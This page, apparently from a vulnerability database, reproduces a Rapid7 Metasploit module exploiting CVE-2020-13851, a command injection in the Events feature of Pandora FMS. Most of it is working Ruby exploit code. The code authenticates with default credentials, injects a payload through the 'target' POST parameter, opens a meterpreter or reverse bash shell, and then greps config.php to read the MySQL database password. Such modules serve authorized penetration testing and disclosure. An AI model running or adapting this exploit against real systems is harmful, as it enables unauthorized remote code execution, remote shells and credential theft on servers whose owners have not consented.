Pandora FMS Events Remote Command Execution

2020-07-09T20:21:12
ID MSF:EXPLOIT/LINUX/HTTP/PANDORA_FMS_EVENTS_EXEC
Type metasploit
Reporter Rapid7
Modified 2020-07-09T21:24:19

Description

This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in the Events feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the target parameter in HTTP POST requests to the Events function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the target parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple grep command on the plaintext /var/www/html/pandora_console/include/config.php file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora FMS Events Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability (CVE-2020-13851) in Pandora
          FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
          older versions) in order to execute arbitrary commands.

          This module takes advantage of a command injection vulnerability in the
          `Events` feature of Pandora FMS. This flaw allows users to execute
          arbitrary commands via the `target` parameter in HTTP POST requests to
          the `Events` function. After authenticating to the target, the module
          attempts to exploit this flaw by issuing such an HTTP POST request,
          with the `target` parameter set to contain the payload. If a shell is
          obtained, the module will try to obtain the local MySQL database
          password via a simple `grep` command on the plaintext
          `/var/www/html/pandora_console/include/config.php` file.

          Valid credentials for a Pandora FMS account are required. The account
          does not need to have admin privileges.
          This module has been successfully tested on Pandora 7.0 NG 744 running
          on CentOS 7 (the official virtual appliance ISO for this version).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Fernando Catoira', # Discovery
            'Julio Sanchez', # Discovery
            'Erik Wynter' # @wyntererik - Metasploit
          ],
        'References' =>
          [
            ['CVE', '2020-13851'], # RCE via the `events` feature
            ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']
          ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' =>
          [
            [
              'Linux (x86)', {
                'Arch' => ARCH_X86,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux (x64)', {
                'Arch' => ARCH_X64,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux (cmd)', {
                'Arch' => ARCH_CMD,
                'Platform' => 'unix',
                'DefaultOptions' => {
                  'PAYLOAD' => 'cmd/unix/reverse_bash'
                }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-06-04',
        'DefaultTarget' => 1
      )
    )
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])
    ]
  end

  def check
    vprint_status('Running check')
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')
      return CheckCode::Safe('Target is not a Pandora FMS application.')
    end

    @cookie = res.get_cookies
    html = res.get_html_document
    full_version = html.at('div[@id="ver_num"]')

    if full_version.blank?
      return CheckCode::Detected('Could not determine the Pandora FMS version.')
    end

    full_version = full_version.text

    version = full_version[1..-1].sub('NG', '')

    if version.blank?
      return CheckCode::Detected('Could not determine the Pandora FMS version.')
    end

    version = Gem::Version.new version

    unless version <= Gem::Version.new('7.0.744')
      return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")
    end

    CheckCode::Appears("Target is Pandora FMS version #{full_version}.")
  end

  def login(user, pass)
    vprint_status "Authenticating as #{user} ..."

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'cookie' => @cookie,
      'vars_get' => { 'login' => '1' },
      'vars_post' => {
        'nick' => user,
        'pass' => pass,
        'login_button' => 'Login'
      }
    })

    unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')
      fail_with Failure::NoAccess, 'Authentication failed'
    end

    print_good "Authenticated as user #{user}."
  end

  def on_new_session(client)
    super
    if target.arch.first == ARCH_CMD
      print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.')
      client.shell_write("grep dbpass include/config.php\n")
    else
      print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.')
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Executing payload...')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax.php'),
      'cookie' => @cookie,
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'Referer' => full_uri('index.php'),
      'vars_get' => {
        'sec' => 'eventos',
        'sec2' => 'operation/events/events'
      },
      'vars_post' => {
        'page' => 'include/ajax/events',
        'perform_event_response' => '10000000',
        'target' => cmd.to_s,
        'response_id' => '1'
      }
    }, 0) # the server will not send a response, so the module shouldn't wait for one
  end

  def exploit
    login(datastore['USERNAME'], datastore['PASSWORD'])

    if target.arch.first == ARCH_CMD
      execute_command payload.encoded
    else
      execute_cmdstager(background: true)
    end
  end
end